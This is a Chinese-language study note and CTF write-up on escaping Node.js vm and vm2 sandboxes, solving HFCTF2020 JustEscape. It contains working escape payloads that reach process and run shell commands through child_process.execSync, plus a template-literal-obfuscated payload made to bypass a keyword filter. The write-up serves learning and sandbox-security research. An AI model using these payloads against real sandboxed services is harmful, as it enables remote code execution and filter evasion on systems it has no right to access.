前言

前几天遇到一个考察vm沙箱逃逸的题目,由于这个点是第一次听说,所以就花时间了解了解什么是沙箱逃逸。此篇文章是对于自己初学vm沙箱逃逸的学习记录,若记录知识有误,欢迎师傅们指正。

什么是沙箱

就只针对于node.js而言,沙箱和docker容器其实是差不多的,都是将程序与程序之间,程序与主机之间互相分隔开,但是沙箱是为了隔离有害程序的,避免影响到主机环境。为什么node.js语言要引入沙箱,这就要说说js语言中的作用域(也叫上下文)。说一大堆概念不如贴一段代码来的实在:

const a = require("./a")

console.log(a.age)
//a.js:var age = 100;------->输出undefined
//-------------------------//
//a.js:var age = 100;exports.age = age;-------->输出100

若没有exports将需要的属性暴露出来,我们是访问不到另一个包内的属性的。包与包之间是互不相通的,也就是说每一个包都有自己的作用域。我们知道JavaScript的全局变量是window。其中所有的属性都是挂载到这个window下的,当然,node也有全局变量,是global。全局变量能在包间访问,换句话说,所有的包都挂载在全局变量下。node执行rce需要引入process对象进而导入child_process模块来执行命令。然而,process是挂载到global上的。为了防止恶意代码影响主机环境,所以就引入沙箱,开辟一个新的作用域来运行不信任的代码。相较于其他作用域,它阻止我们从内部直接访问global全局变量。此后的逃逸也是在这个点做文章。

vm模块的作用

引入vm模块就是为了创建一个沙箱运行环境。先看一段代码:

const util = require('util');
const vm = require('vm');
global.age = 3;
const sandbox = { age: 1 };
vm.createContext(sandbox);
vm.runInContext('age *= 2;', sandbox);
console.log(util.inspect(sandbox));
console.log(util.inspect(age));
//输出
//{ age: 2 }
//3

vm.createContext函数,创建一个沙箱对象,在全局变量global外又创建一个作用域。此时sandbox对象就是此作用域的全局变量。vm.runInContext函数,第一个参数是沙箱内要执行的代码,第二个是沙箱对象。还有一个函数,vm.runInNewContext,是creatContext和runInContext的结合版,传入要执行的代码和沙箱对象。根据代码输出,我们可以看出沙箱内是不能访问到global。

如何逃逸

上文也说明了node要执行命令的前提是访问到process对象。那么逃逸的主要思路就是怎么从外面的global全局变量中拿到process。vm模块是非常不严谨的,基于node原型链继承的特性,我们很容易就能拿到外部全局变量。看一段简单的逃逸代码:

"use strict";
const vm = require("vm");
const a = vm.runInNewContext(`this.constructor.constructor('return global')()`);
console.log(a.process);

运行结果为

很明显是逃逸出去了。如何做到的?这里的this是指向传递到runInNewContext函数的一个对象,他是不属于沙箱内部环境的,访问当前对象的构造器的构造器,也就是Function的构造器,由于继承关系,它的作用域是全局变量,执行代码,获取外部global。拿到process对象就可以执行命令了。继续看代码:

"use strict";
const vm = require("vm");
const a = vm.runInNewContext(`this.constructor.constructor('return process')()`);
console.log(a.mainModule.require('child_process').execSync('whoami').toString());

执行结果:

console.log会执行node代码,从而调用构造器函数返回process对象导致rce。vm模块的隔离作用可以说非常的差了。所以开发者在此基础上加以完善,推出了vm2模块。那么vm2模块能否逃逸。

vm2相较于vm多了很多限制。其中之一就是引入了es6新增的proxy特性。增加一些规则来限制constructor函数以及___proto__这些属性的访问。proxy可以认为是代理拦截,编写一种机制对外部访问进行过滤或者改写。直接看文档中的例子,文档链接:ES6 入门教程

var proxy = new Proxy({}, {
get: function(target, propKey) {
return 35;
}
});
proxy.time // 35
proxy.name // 35
proxy.title // 35

vm2的版本一直都在更新迭代。github上许多历史版本的逃逸exp,附上链接:Issues · patriksimek/vm2 · GitHub,至于vm2的逃逸原理分析,直接看大牛的文章,写的非常nice,文章链接:vm2沙箱逃逸分析-安全客 - 安全资讯平台。接着做个题感受一下。

[HFCTF2020]JustEscape

题目代码:

<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
$code = $_GET['code'];
echo eval(code);
} else {
highlight_file(__FILE__);
}
?>

题目中提示我们不是php,当然eval函数也不只有php有。测试eval是js语言的,可以输入Error().stack。它的作用是返回代码的部分信息。

了解到引入了vm2沙箱。GitHub上有师傅发的逃逸脚本可以直接打。附上链接:Breakout in v3.8.3 · Issue #225 · patriksimek/vm2 · GitHub。有两个exp都能打通。看一下第一个exp:

(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()

网上找半天都没有详细解释代码,于是自己琢磨了一下。若分析有误,希望师傅们指正。先来看看Object.preventExtensions函数,让一个对象不能再添加一个新的属性。如果尝试添加新的属性,就会抛出typeError。

上面代码尝试添加a属性。导致异常就会抛出TypeError对象。这里进行了一个操作,污染了TypeError的原型。TypeError是外部的对象,这里将它的原型添加get_process属性,并且在此基础上调用构造器函数,此时它 的作用域就是global了。抛出的TypeError对象由e捕捉,访问get_process属性,从原型里拿,进而触发构造器函数,返回process对象执行命令。

则第二个exp有点像上文vm2原理分析的案例二。

(' + function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()

创建一个代理,我猜测getOwnPropertyDescriptor函数用于Proxy第二个参数传递会发生异常。vm2内部抛出异常并捕获,然后vm2沙箱自己封装成一个对象再次抛出,被捕获,此时这个对象的作用域就变成了global,执行抛出的代码可以拿到process对象了。

截止目前,我们并不能做出这道题。因为还有waf过滤了许多关键词,这里就要用到一个点,利用js的模板文字绕过,直接看个例子就能明白。

把过滤掉的关键字都换成这种模板文字,最终payload为:

(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})()

打入payload即可获得flag。

结语

vm2版本一直在更新,而逃逸脚本也穷出不穷,而在去年也爆出了新的vm沙箱逃逸的cve。以后有时间继续琢磨沙箱逃逸脚本。此外贴上vm沙箱逃逸的优秀文章:

NodeJS VM和VM2沙箱逃逸 - 先知社区

nodejs vm/vm2沙箱逃逸分析 - zpchcbd - 博客园